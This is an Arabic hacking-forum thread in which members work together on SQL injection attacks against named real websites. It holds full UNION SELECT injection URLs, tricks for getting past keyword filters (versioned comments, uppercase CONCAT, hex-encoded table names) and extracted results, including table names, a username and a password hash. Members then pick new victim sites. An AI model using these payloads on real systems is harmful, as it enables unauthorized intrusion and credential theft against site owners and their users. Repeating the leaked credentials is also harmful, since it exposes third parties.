العدد (3) من غرفة الحقن

aircrack -ng · 12-12-2010, 01:34 AM

اقتباس

المشاركة الأصلية كتبت بواسطة _darkman_


	الحقنة وصلت إلى كود: http://www.northernharbour.com/gallery.php?id=-5%20/!union/%20%20select%201,2,3,/!concat/%28table_name,0x3a,column_name,0x3a,table_schema%29,5+from+information_schema.columns-- هل من إرشادات لأني جربت ال unhex(hex()) وجربت /!/ و مانفعو

هلا اخي
media_pictures:other:mexpress_2894229478

حقنتك صحيحة كمل
انت حبيت تستعرض الجداول ضيف الامر
limit
شوف معي

كود:

http://www.northernharbour.com/gallery.php?id=-5 union  /*!select*/  1,2,3,/*!concat*/(table_name,0x3a,column_name,0x3a,table_schema),5+from+information_schema.columns+limit+1,1--

CHARACTER_SETS:DEFAULT_COLLATE_NAME:information_sc hema
فهمت علي اخي بس انت كمل حقنتك عادي بدون اضافة الامر limit لغاية لما تجي طلع اليوزرات اوكي يعني

كود:

/*!concat*/(table_name,0x3a,column_name,0x3a,table_schema),5+from+information_schema.columns+where+column_name+LIKE+CHAR(37, 112, 97,

تسلم مشرفنا الغالي

إسلام العالم · 12-12-2010, 03:06 AM

اقتباس


	http://www.northernharbour.com/galle...re+column_name +like+char(37, 112, 97, 115, 115, 37)--

الباس : wef.xIRu/YVfo أكيد فكها كتير صعب
اليوزر : group_id

agentsimo · 12-12-2010, 04:57 AM

السلام عليكم
بفففففففف دائما القاكم بداتو علي الحقن بففف دائما اتي متاخرررررر
المهم لقد حقنت الموقع
عدد الاعمدة 5
http://www.northernharbour.com/gallery.php?id=5 UNION /*!select*/ 1,2,3,4,5--
تابل نايم يوزر calendar_users
http://www.northernharbour.com/gallery.php?id=-5 UNION /*!select*/ 1,2,3,table_name,5+from+information_schema.columns +where+column_name+like+CHAR(37, 112, 97, 115, 37)--
تابل يوزر

http://www.northernharbour.com/gallery.php?id=-5 UNION /*!select*/ 1,2,3,column_name,5+from+information_schema.column s+where+table_name=0x63616c656e6461725f7573657273+ limit+1,1--
تابل باس
http://www.northernharbour.com/gallery.php?id=-5 UNION /*!select*/ 1,2,3,column_name,5+from+information_schema.column s+where+table_name=0x63616c656e6461725f7573657273+ limit+2,1--
يوزر mexpress
http://www.northernharbour.com/gallery.php?id=-5 UNION /*!select*/ 1,2,3,username,5+from+calendar_users--
الباس wef.xIRu/YVfo
http://www.northernharbour.com/gallery.php?id=-5 UNION /*!select*/ 1,2,3,password,5+from+calendar_users--
و في الاخير اتمنى ان اكون انا اول من جلب الحقنة الكاملة للموقع :c

agentsimo · 12-12-2010, 05:01 AM

طبعا اصدار القاعدة البينات هو 5
و بالنسبة لصفحة الادمين فلم اجدها

darkman.dz · 12-12-2010, 12:40 PM

اقتباس

المشاركة الأصلية كتبت بواسطة عبد الصمد


	هلا اخي media_pictures:other:mexpress_2894229478 حقنتك صحيحة كمل انت حبيت تستعرض الجداول ضيف الامر limit شوف معي كود: http://www.northernharbour.com/gallery.php?id=-5 union /!select/ 1,2,3,/!concat/(table_name,0x3a,column_name,0x3a,table_schema),5+from+information_schema.columns+limit+1,1-- CHARACTER_SETS:DEFAULT_COLLATE_NAME:information_sc hema فهمت علي اخي بس انت كمل حقنتك عادي بدون اضافة الامر limit لغاية لما تجي طلع اليوزرات اوكي يعني كود: /!concat/(table_name,0x3a,column_name,0x3a,table_schema),5+from+information_schema.columns+where+column_name+LIKE+CHAR(37, 112, 97, تسلم مشرفنا الغالي

أخي عبد الصمد
أنا أعرف الحقن جيدا
و أعرف إستخدام الأمر limit
لكن في متصفحي لا يعرض شيئا لغاية الآن
لا أعلم السبب لماذا
لكن مشكور على التوضيح يا وليد بلادي
1,2,3 viva l'algerie

واصل + أحاى تقييم ...لأحلى عضو :a09:

darkman.dz · 12-12-2010, 12:58 PM

أنظر يا أخي عبد الصمد

كود:

http://www.northernharbour.com/gallery.php?id=-5 /*!union*/  select 1,2,3,/*!concat*/(group_id,0x3a,username,0x3a,password),5+from+calendar_users--

جدول اليوزر

كود:

calendar_users:password:mexpress_2894229478

العمود الخاص باليوزر

كود:

calendar_users:username:mexpress_2894229478

العمود الخاص بالباسوورد

كود:

calendar_users:password:mexpress_2894229478

عمود ال id

كود:

calendar_users:group_id:mexpress_2894229478

أنا قصدت أنو الموقع لا يسمح بالأمر Limit للتنقل في الجداول قبل وضع الإستعلام

كود:

where+column_name+LIKE (%pass)%

لا نستطيع التخطي هنا ومعرفة جميع جداول الموقع
أرجو أن أكون قد وضحت الفكرة

وشكرا مرة أخرى

و الختام مسك وسلام :a26:

إسلام العالم · 12-12-2010, 01:36 PM

لا نستطيع التخطي هنا ومعرفة جميع جداول الموقع
أرجو أن أكون قد وضحت الفكرة
وشكرا مرة أخرى

و الختام مسك وسلام :a26:[/QUOTE]

نعم أخي صدقت فصاحب الموقع عامل حماية على أمر group

ولكن اليوزر الذي ظهر معك عير يلي ظهر معي ....مع أنه نفس الباسوورد...

darkman.dz · 12-12-2010, 01:56 PM

اقتباس

المشاركة الأصلية كتبت بواسطة إسلام العالم


	لا نستطيع التخطي هنا ومعرفة جميع جداول الموقع أرجو أن أكون قد وضحت الفكرة وشكرا مرة أخرى و الختام مسك وسلام :a26:

نعم أخي صدقت فصاحب الموقع عامل حماية على أمر group

ولكن اليوزر الذي ظهر معك عير يلي ظهر معي ....مع أنه نفس الباسوورد...[/QUOTE]

هههههههههههههههههههههههه
عصفورين بحجر واحد :cry[1]:

إسلام العالم · 12-12-2010, 02:45 PM

منتظرين أهداف جديدة

darkman.dz · 12-12-2010, 05:45 PM

كود:

http://www.faddoul-trade.com/product-det.php?l=2&id=11

هذف جديد

جاري المحاولة معه
و أنتم أيضا

aircrack -ng · 12-12-2010, 08:54 PM

السلام عليكم
هاانا رجعت معذرة شباب انا كنت في العمل
مشرفنا انت مافهمتني شو كنت عم اقصد وانا مافهمتك شو كنت تقصد بس بعد التوضيح فهمتك كل التحية لك اخي الحبيب
الحقنة بس اقولكم شيء هالموقع كارثة ثقيل جدا الصفحة تقد ساعة عشان تظهر ههههههههههه
النت عندي 236 كيلو بايت ههههههههههههههه

كود:

http://www.faddoul-trade.com/product-det.php?l=2&id=-11 UNION /*!SELECT*/ 1,/*!CONCAT(user_name,0x3a,id,0x3a,pass_word),3,4,5+from+members

نرجع الموقع مانع كلمة concat
وايضا لما نحاول نتخطى بالامر

كود:

/*!concat*/

يجينا خطا
التخطي ب

كود:

/*!CONCAT

يعني نستعمل تكبير concat يعني تصير هيك CONCAT

واخر الحقنة استعملو الامر LIMIT للبحث عن شيح القبيلة الادمن هههههههههههه انا ماقدرت ابحث لانو النت بيفصل كثير وهالموقع ثقيل جدا

darkman.dz · 12-12-2010, 09:34 PM

اقتباس

المشاركة الأصلية كتبت بواسطة عبد الصمد


	السلام عليكم هاانا رجعت معذرة شباب انا كنت في العمل مشرفنا انت مافهمتني شو كنت عم اقصد وانا مافهمتك شو كنت تقصد بس بعد التوضيح فهمتك كل التحية لك اخي الحبيب الحقنة بس اقولكم شيء هالموقع كارثة ثقيل جدا الصفحة تقد ساعة عشان تظهر ههههههههههه النت عندي 236 كيلو بايت ههههههههههههههه

ههههههههههههههههههههه
لا بأس أخي صمودة
هههههههههههههههههههههههه
التحية و التقدير والإحترام متبادلين
أعذروني لقد عدت الآن فقط

جاري حقن الموقع بإذن الله

aircrack -ng · 12-12-2010, 09:48 PM

اقتباس

المشاركة الأصلية كتبت بواسطة _darkman_


	ههههههههههههههههههههه لا بأس أخي صمودة هههههههههههههههههههههههه التحية و التقدير والإحترام متبادلين أعذروني لقد عدت الآن فقط جاري حقن الموقع بإذن الله

اهلا اخي ومشرفنا الغالي منور الغرفة
جاري البحث عن فئران تجارب جديدة هههههههههه

كل الاحترام والتقدير لك اخي

darkman.dz · 12-12-2010, 09:50 PM

أخي صمودة
بالنسبة للأنترنت
أنا أيضا 256 ميقا بايت
نتاع الزواولة
ههههههههههههههههههههههههههه

darkman.dz · 12-12-2010, 10:04 PM

كود:

http://www.faddoul-trade.com/product-det.php?l=2&id=-11 UNION /*!SELECT*/ 1,/*!CONCAT(table_name,0x3a,column_name,0x3a,table_schema)*/,3,4,5+from+informaion_schema.columns--

الحقنة وصلت إلى هنا
و الموقع ثقيل جدا
و النت تنقطع
جاري الإكمال بعد العودة

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
هدية صغيرة بمناسبة فتح غرقة الحقن العدد 2	darkman.dz	Hackers Showoff	12	10-10-2010 05:08 PM
غرفة حقن قواعد البيانات {غرفة Sql }	Master vbspiders	SQL قواعد البيانات	412	08-18-2010 05:43 PM
[Style] : الوان العيد تاتي مع استايل العيد الاول للمسة مبدع	support	قسم ستآيلات الـ vB	0	09-18-2009 03:47 AM

العدد (3) من غرفة الحقن

SQL قواعد البيانات